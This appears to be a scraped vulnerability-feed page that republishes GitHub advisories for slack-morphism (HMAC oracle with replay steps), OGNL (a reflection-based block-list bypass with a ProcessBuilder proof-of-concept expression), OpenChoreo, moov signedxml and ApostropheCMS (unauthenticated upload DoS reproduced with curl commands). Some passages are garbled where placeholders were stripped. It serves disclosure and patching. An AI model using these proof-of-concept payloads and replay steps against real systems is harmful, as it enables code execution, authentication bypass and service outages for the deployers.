GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113799&date=2026-10-25
### Summary

Slack Morphism exposes the correct Slack request HMAC when signature verification fails.

For an invalid request, `slack-morphism` computes the correct signature for the attacker-controlled timestamp and request body and stores it in `SlackEventWrongSignatureError.generated_hash`. The error's `Debug` and `Display` representations expose that value, and the default Axum listener error handler logs it at error level.

An attacker who can both reach the application's Slack callback endpoint and read its application/service logs can therefore use the verifier as a chosen-message HMAC oracle. The attacker can send an arbitrary request with an invalid signature, recover the correct signature from the resulting log entry, and resend the same request within the five-minute freshness window. The second request passes Slack Morphism's signature verification and reaches the protected application callback without the attacker knowing the Slack signing secret.

I reproduced this end-to-end against both the Axum and Hyper integrations in `slack-morphism` 2.26.0 and 2.27.0.

### Details

The vulnerability is in Slack Morphism's request signature verification error path.

In `src/signature_verifier.rs`, `SlackEventSignatureVerifier::verify` computes the expected signature before comparing it with the untrusted `X-Slack-Signature` supplied by the request.

On a mismatch, the implementation creates a `SlackEventWrongSignatureError` containing the complete correct signature in its public `generated_hash` field.

Relevant source path:

```text
src/signature_verifier.rs:46-59
```

The error type is defined around:

```text
src/signature_verifier.rs:182-199
```

`generated_hash` is a public `String`; the type derives `Debug`, and its `Display` implementation also prints the generated signature.

The resulting source-to-sink path is:

1. `SlackEventSignatureVerifier::verify` computes the expected HMAC for the attacker-controlled timestamp and raw request body.
2. Signature verification fails because the attacker initially sends an invalid signature.
3. Slack Morphism places the correct expected value in `SlackEventWrongSignatureError.generated_hash`.
4. The error's `Debug` and `Display` representations reveal that HMAC.
5. The Axum middleware propagates/formats the error through `src/axum_support/slack_events_middleware.rs`.
6. The default listener error handler in `src/listener.rs` logs the error at error level.
7. The attacker reads the generated HMAC from the logs.
8. The attacker resends the identical timestamp and body using the disclosed value as `X-Slack-Signature`.
9. Slack Morphism accepts the request and executes the protected callback.

The Hyper path is also affected. `src/hyper_tokio/hyper_ext.rs` propagates the verifier error as a service error, and formatting that error similarly exposes the generated signature.

The disclosed value is exactly the credential required to authenticate the corresponding request:

```text
v0=hex(HMAC-SHA256(signing_secret, "v0:" || timestamp || ":" || raw_body))
```

There is no weakness in HMAC-SHA256 or the constant-time comparison itself. The vulnerability is that the expected authentication value is disclosed through the verifier's error path.

#### Affected versions

I reproduced the vulnerability against:

- `slack-morphism` 2.26.0
- `slack-morphism` 2.27.0
- current `master` at audit time:
 `e3b3ecabf99dfcf6c3548a42fba89fbfa510d21c`

Git history indicates that the public `generated_hash` field was introduced in:

```text
9bf623bd51c6a9ef0cd22d842cc707a3311f1f22
```

and appears to have existed since v0.10.0. Since versions before 2.26.0 are unsupported and were not dynamically tested during this assessment, I am reporting the independently validated supported range as:

```text
>= 2.26.0, 

X-Slack-Signature:
v0=0000000000000000000000000000000000000000000000000000000000000000
```

The all-zero signature is deliberately invalid.

#### First request

The first request is correctly rejected with HTTP 400.

However, Slack Morphism's default error output contains an entry equivalent to:

```text
SlackEventWrongSignatureError {
 ...
 generated_hash: "v0= "
}
```

where ` ` is the valid Slack request signature for the exact attacker-controlled timestamp and body.

Copy that `generated_hash`.

Before the five-minute timestamp window expires, resend the **identical body and timestamp**, changing only the signature header:

```text
X-Slack-Signature: v0= 
```

#### Result

The second request returns HTTP 200 and the protected application callback executes.

In my end-to-end Axum reproduction the application observed:

```text
PROTECTED_CALLBACK_EXECUTED body={"type":"attacker_chosen","action":"transfer"}
```

I independently reproduced the same primitive through the Hyper integration. The invalid request produces a service error containing:

```text
WrongSignatureError(... generated_hash: "v0= ")
```

and replaying that value with the same timestamp and body causes the protected callback to execute.

#### Expected behavior

An invalid Slack request should be rejected without exposing any verifier-derived value that could authenticate a subsequent request.

Neither verifier error objects nor application logs should contain the expected HMAC.

#### Actual behavior

The invalid request is rejected, but Slack Morphism exposes the correct HMAC for the attacker-selected timestamp and body through the verifier error.

Reusing that disclosed HMAC within the freshness window causes the previously invalid attacker-controlled request to pass authentication and reach the protected callback.

### Impact

An attacker requires:

1. network access to a Slack Morphism Events API, slash-command, interaction, or equivalent signed callback endpoint; and
2. lower-privilege read access to the application's/service's logs containing the verifier error.

The attacker does **not** need:

- the Slack signing secret;
- a Slack access token;
- a Slack app token;
- access to a Slack w

Affected package ranges reported by GitHub:
slack-morphism: >= 1.0.0, <= 2.27.0
Action: GitHub lists first patched versions: slack-morphism: 2.28.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OGNL stricter-invocation block list bypass via java.lang.reflect reflection proxies
https://kevwire.com/record/CVE-2026-113730
OGNL stricter-invocation block list bypass via java.lang.reflect reflection proxies (Oct 21, 2026).
OGNL's optional *stricter invocation* mode maintains a block list that prevents expressions from directly calling methods on dangerous classes such as `Runtime`, `ProcessBuilder`, and `ClassLoader`. The block list filters on the **declaring class of the method OGNL invokes**. Because `java.lang.reflect.Method` (and `Constructor`/`Field`) are not on the list, an expression can use reflection as a proxy — `someMethod.invoke(target, args)` — to reach a blocked method. The real call (e.g. `ProcessBuilder.start()`) then executes inside the JDK reflection machinery and never passes back through OGNL's `invokeMethod`, so the block list never sees it.

Under the default OGNL context (public-only access, stricter invocation enabled), the following expression creates a file even though a direct `new ProcessBuilder(...).start()` is blocked:
CVSS 5.6 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-crwc-vw2r-qr6m).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113730&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-crwc-vw2r-qr6m: https://github.com/advisories/GHSA-crwc-vw2r-qr6m
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113730&date=2026-10-25
### Summary

OGNL's optional *stricter invocation* mode maintains a block list that prevents expressions from directly calling methods on dangerous classes such as `Runtime`, `ProcessBuilder`, and `ClassLoader`. The block list filters on the **declaring class of the method OGNL invokes**. Because `java.lang.reflect.Method` (and `Constructor`/`Field`) are not on the list, an expression can use reflection as a proxy — `someMethod.invoke(target, args)` — to reach a blocked method. The real call (e.g. `ProcessBuilder.start()`) then executes inside the JDK reflection machinery and never passes back through OGNL's `invokeMethod`, so the block list never sees it.

### Proof of concept

Under the default OGNL context (public-only access, stricter invocation enabled), the following expression creates a file even though a direct `new ProcessBuilder(...).start()` is blocked:

```
(#pb=new java.lang.ProcessBuilder({"/usr/bin/touch","rce-proof.txt"}),
 #methods=@java.lang.ProcessBuilder@class.getMethods(),
 #names=#methods.{ #this.getName() },
 #startIdx=#names.indexOf("start"),
 #methods[#startIdx].invoke(#pb, null))
```

### Impact and scope — please read carefully

**This is hardening of a defense-in-depth secondary layer, not a break of OGNL's primary security boundary.**

In OGNL the stricter-invocation block list is a *secondary* mitigation. The **primary** access-control gate is the `MemberAccess` implementation supplied by the integrating framework or application, which OGNL consults on every constructor and method call. Frameworks that evaluate untrusted expressions are expected to install a restrictive `MemberAccess` — for example, Apache Struts' `SecurityMemberAccess`, which excludes dangerous classes and the `java.lang.reflect` package. Against such a `MemberAccess` this PoC is blocked at the very first step (the `new ProcessBuilder(...)` constructor), before reflection is ever reachable.

The default context that ships with OGNL intentionally allows all public members and is **not** designed to sandbox untrusted input. An application that evaluates attacker-controlled expressions with that permissive default already has many paths to code execution, and this technique is not required to achieve it.

**You are affected only if all of the following hold:** (1) your application evaluates untrusted/attacker-controlled OGNL expressions, (2) it uses OGNL's default permissive `MemberAccess` (or an equivalently permissive one that allows `java.lang.reflect`), and (3) it relies on the stricter-invocation block list as its sandbox. **Properly configured consumers — including Apache Struts with its `SecurityMemberAccess` — are not affected.** The actual protection for untrusted-expression scenarios remains a correctly configured `MemberAccess`; the block list should not be treated as a sandbox.

### Fix

`java.lang.reflect.Method`, `java.lang.reflect.Constructor`, and `java.lang.reflect.Field` are added to the stricter-invocation block list, so reflection objects can no longer be used as invocation proxies in stricter mode. The `java.lang.invoke.MethodHandle` path was verified not to be exploitable (its signature-polymorphic `invoke`/`invokeExact` fail through OGNL's reflection-based invocation), so no additional classes are required.

### Credit

Reported responsibly through Tidelift by 毛锐 (youyi.mr@alibaba-inc.com).

Affected package ranges reported by GitHub:
ognl:ognl: <= 3.4.12
Action: GitHub lists first patched versions: ognl:ognl: 3.4.13. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenChoreo: Authorization bypass on WorkflowRun update allows cross-project takeover of workflow runs
https://kevwire.com/record/CVE-2026-113727
OpenChoreo: Authorization bypass on WorkflowRun update allows cross-project takeover of workflow runs (Oct 21, 2026).
The OpenChoreo API server authorized `PUT .../workflowruns/{runName}` against ownership metadata taken from the request body, while the object it actually mutated was selected by the URL path. Nothing forced the two to agree.

A `WorkflowRun`'s membership in a project and component is carried entirely by its `openchoreo.dev/project` and `openchoreo.dev/component` labels. Because the `workflowrun:update` check read those labels from the submitted object rather than the stored one, a caller holding `workflowrun:update` on one component could name a run belonging to a different project or component in the URL, supply labels for the component they legitimately control, pass the check, and have the unrelated run rewritten with their own ownership labels.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113727).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113727&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-46r4-q7wv-32fc: https://github.com/advisories/GHSA-46r4-q7wv-32fc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113727: https://nvd.nist.gov/vuln/detail/CVE-2026-113727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113727&date=2026-10-25
## Summary

The OpenChoreo API server authorized `PUT .../workflowruns/{runName}` against ownership metadata taken from the request body, while the object it actually mutated was selected by the URL path. Nothing forced the two to agree.

A `WorkflowRun`'s membership in a project and component is carried entirely by its `openchoreo.dev/project` and `openchoreo.dev/component` labels. Because the `workflowrun:update` check read those labels from the submitted object rather than the stored one, a caller holding `workflowrun:update` on one component could name a run belonging to a different project or component in the URL, supply labels for the component they legitimately control, pass the check, and have the unrelated run rewritten with their own ownership labels.

The namespace is taken from the URL and feeds both the authorization check and the Kubernetes read, so it cannot diverge. This is cross-project and cross-component escalation inside a single namespace, not a cross-tenant issue.

## Impact

Rewriting the ownership labels transfers authority over the run. Every other WorkflowRun check (view, logs, events, status, delete, list) derives its scope from the stored labels, so once the write lands the policy engine legitimately grants the attacker access to an object they never had rights to. They can then:

- Read the victim's build logs. These stream raw pod logs from the workflow plane and routinely carry source paths, registry destinations, and credentials a build step echoed by accident.
- Read the run's Kubernetes events.
- Delete the run.

So the primary impact is confidentiality and availability, not only integrity. On the integrity side, `spec.workflow.parameters` can be overwritten on a pending run, and manipulating the two ownership labels can either wedge the run in a permanent `ComponentValidationFailed` condition or downgrade it to a standalone run that skips component validation.

Exploitation requires an authenticated caller with an `AuthzRoleBinding` or `ClusterAuthzRoleBinding` granting `workflowrun:update` at project or component scope in the victim's namespace, plus knowledge of the target run's name. An anonymous caller cannot reach this.

## Patches

The authorization check now loads the stored WorkflowRun and derives every ownership attribute from it instead of from the request body. Separately, the `openchoreo.dev/project` and `openchoreo.dev/component` labels are now immutable on update, so an authorized caller cannot hand their own run to another project either.

| Line | Affected | Fixed in |
|---|---|---|
| 1.0.x | 1.0.0 through 1.0.5 | 1.0.6 |
| 1.1.x | 1.1.0 through 1.1.6 | 1.1.7 |
| 1.2.x | 1.2.0 through 1.2.4 | 1.2.5 |

Upgrade to the patched release on your line. No configuration change is needed after upgrading.

## Workarounds

If you cannot upgrade immediately, restrict who holds `workflowrun:update`.

Audit your `AuthzRole` and `ClusterAuthzRole` definitions for that action and remove it from any role granted to principals you would not trust with write access to every workflow run in the namespace. Among the roles shipped with OpenChoreo, only the system role `workload-publisher` lists `workflowrun:update` explicitly, and `admin` holds it through its `*` wildcard. Custom roles in your own values file may also include it, so check those.

Treat any credential bound to `workload-publisher` as privileged. CI systems are the usual holder, and a leaked CI token is enough to run this.

Affected package ranges reported by GitHub:
github.com/openchoreo/openchoreo: >= 1.0.0, < 1.0.6
github.com/openchoreo/openchoreo: >= 1.1.0, < 1.1.7
github.com/openchoreo/openchoreo: >= 1.2.0, < 1.2.5
Action: GitHub lists first patched versions: github.com/openchoreo/openchoreo: 1.0.6; github.com/openchoreo/openchoreo: 1.1.7; github.com/openchoreo/openchoreo: 1.2.5. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Moov signedxml: Unauthenticated denial of service in exclusive XML canonicalization
https://kevwire.com/record/CVE-2026-113729
Moov signedxml: Unauthenticated denial of service in exclusive XML canonicalization (Oct 21, 2026).
Exclusive XML canonicalization (`http://www.w3.org/2001/10/xml-exc-c14n#`) in `github.com/moov-io/signedxml` copied the entire accumulated namespace map at every node during `ValidateReferences()`, before any reference digest or signature check.

For a chain of nested elements that each declare many unused namespace prefixes, that produced **O(m × depth²)** time and peak memory (`m` = prefixes per level). `beevik/etree` caps tree depth (~1024), but `m` is unbounded, so a small attacker-controlled document (on the order of 1 MB) could drive multi-gigabyte allocations and OOM the process. No valid signature, matching certificate, or authentication is required.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113729).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113729&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5588-rp99-5fjh: https://github.com/advisories/GHSA-5588-rp99-5fjh
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113729: https://nvd.nist.gov/vuln/detail/CVE-2026-113729
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113729&date=2026-10-25
Exclusive XML canonicalization (`http://www.w3.org/2001/10/xml-exc-c14n#`) in `github.com/moov-io/signedxml` copied the entire accumulated namespace map at every node during `ValidateReferences()`, before any reference digest or signature check.

For a chain of nested elements that each declare many unused namespace prefixes, that produced **O(m × depth²)** time and peak memory (`m` = prefixes per level). `beevik/etree` caps tree depth (~1024), but `m` is unbounded, so a small attacker-controlled document (on the order of 1 MB) could drive multi-gigabyte allocations and OOM the process. No valid signature, matching certificate, or authentication is required.

This is the library’s core path for SAML / WS-Federation service providers, which canonicalize attacker-supplied XML prior to authentication.

### Affected

- Package: `github.com/moov-io/signedxml`
- Function: `ExclusiveCanonicalization` (`exclusivecanonicalization.go`)
- Verified: **v1.4.0** and current default branch (commit `d79064a`). Earlier v1.2.x–v1.3.x releases are likely affected.

### Remediation

Do not copy the whole namespace map per node. Maintain a single scope and push/pop only the prefixes introduced at each element. Replace linear prefix-in-scope scans with set lookups. Impose a defensive cap on in-scope namespace declarations and return an error rather than allocating unbounded memory.

From @shuji-oh 
```
Thanks for the fix — I re-ran my PoC against this branch and confirmed the memory blowup is gone.

Before (main)

-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time ≈ O(depth^2) --
depth=250 m=10 payload= 0.07MB allocated= 45MB
depth=500 m=10 payload= 0.14MB allocated= 179MB
depth=1000 m=10 payload= 0.27MB allocated= 711MB
-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --
depth=1000 m=5 payload= 0.16MB allocated= 377MB
depth=1000 m=100 payload= 2.57MB allocated= 6278MB
After (fix/exc-c14n-namespace-dos)

-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time ≈ O(depth^2) --
depth=250 m=10 payload= 0.07MB allocated= 2MB
depth=500 m=10 payload= 0.14MB allocated= 4MB
depth=1000 m=10 payload= 0.27MB allocated= 7MB
-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --
depth=1000 m=5 payload= 0.16MB allocated= 4MB
depth=1000 m=100 payload= 2.57MB allocated= 47MB
That's roughly a 100–130x reduction in peak allocation for the same payload sizes, and no OOM in any of my runs. This looks like it resolves the issue — thanks for the quick fix!
```

### Credit

Reported by Shuji Ohira ([@shuji-oh](https://github.com/shuji-oh)).

Affected package ranges reported by GitHub:
github.com/moov-io/signedxml: <= 1.4.0
Action: GitHub lists first patched versions: github.com/moov-io/signedxml: 1.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export
https://kevwire.com/record/CVE-2026-113711
ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export (Oct 21, 2026).
A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by `@apostrophecms/import-export`.

The affected import API routes invoke:
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-86wm-68pq-5jwq).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113711&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-86wm-68pq-5jwq: https://github.com/advisories/GHSA-86wm-68pq-5jwq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113711: https://nvd.nist.gov/vuln/detail/CVE-2026-113711
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113711&date=2026-10-25
## Summary

A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by `@apostrophecms/import-export`.

The affected import API routes invoke:

`self.apos.http.bigUploadMiddleware()`

before the actual import handler performs its authentication check.

Because no `authorize` callback is supplied to `bigUploadMiddleware()`, unauthenticated requests can reach the `aposBigUpload` `start`, `chunk`, and `end` operations before the later `req.user` check rejects the import.

As a result, an unauthenticated remote attacker can create server-side upload state, write chunk data to upload storage, trigger temporary-file processing, and cause attacker-controlled cleanup operations before authentication is enforced.

## Affected Component

Package:

`@apostrophecms/import-export`

Confirmed affected version:

`3.6.2`

Potential earlier affected versions:

The issue may affect earlier 3.x releases in which the current big-upload-based import implementation is present. I have not yet fully verified the exact introduction version and recommend that the maintainers confirm the affected version range.

## Vulnerability Type

Primary:

**CWE-400 — Uncontrolled Resource Consumption**

Related:

**CWE-306 — Missing Authentication for Critical Function**

**CWE-770 — Allocation of Resources Without Limits or Throttling**

## Technical Details

The page import route registers the following middleware chain:

`packages/import-export/modules/@apostrophecms/import-export-page/index.js`

```javascript
importExportImport: [
 self.apos.http.bigUploadMiddleware(),
 async (req) => {
 return self.apos.modules['@apostrophecms/import-export']
 .import(req, self.__meta.name);
 }
]
```

No `authorize` callback is passed to `bigUploadMiddleware()`.

The `bigUploadMiddleware()` implementation explicitly supports an `authorize` callback and performs that authorization before processing the `aposBigUpload` protocol when supplied.

Without that callback, requests containing:

`aposBigUpload[type]=start`

`aposBigUpload[type]=chunk`

or

`aposBigUpload[type]=end`

are processed immediately.

The actual authentication check occurs later in:

`packages/import-export/lib/methods/import.js`

```javascript
async import(req, moduleName) {
 if (!req.user) {
 throw self.apos.error('forbidden');
 }
```

This means authentication occurs only after the chunked-upload middleware has already performed server-side work.

## Attack Flow

### 1. Start

An unauthenticated attacker submits an `aposBigUpload[type]=start` request.

The server generates an upload ID and stores attacker-supplied upload metadata, including the declared `chunks` count.

### 2. Chunk

The attacker can upload chunk data.

`bigUploadChunk()` copies attacker-controlled data into:

`/big-uploads/ - - `

### 3. End

The attacker sends an `aposBigUpload[type]=end` request.

`bigUploadEnd()` begins processing the upload and creates temporary files before invoking the downstream import handler.

Only after this processing completes does execution reach the later authentication check in `import()`.

### 4. Cleanup amplification

The attacker-controlled `chunks` value is also used by `bigUploadCleanupOne()`:

```javascript
for (const { chunks } of Object.values(bigUpload.files)) {
 for (let i = 0; (i /tmp/chunk.bin

curl -s -X POST \
 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]= &aposBigUpload[n]=0&aposBigUpload[chunk]=0' \
 -F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'
```

The request succeeds and causes server-side upload storage to be used.

### Finalize the upload

```bash
curl -i -X POST \
 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]= '
```

Observed behavior:

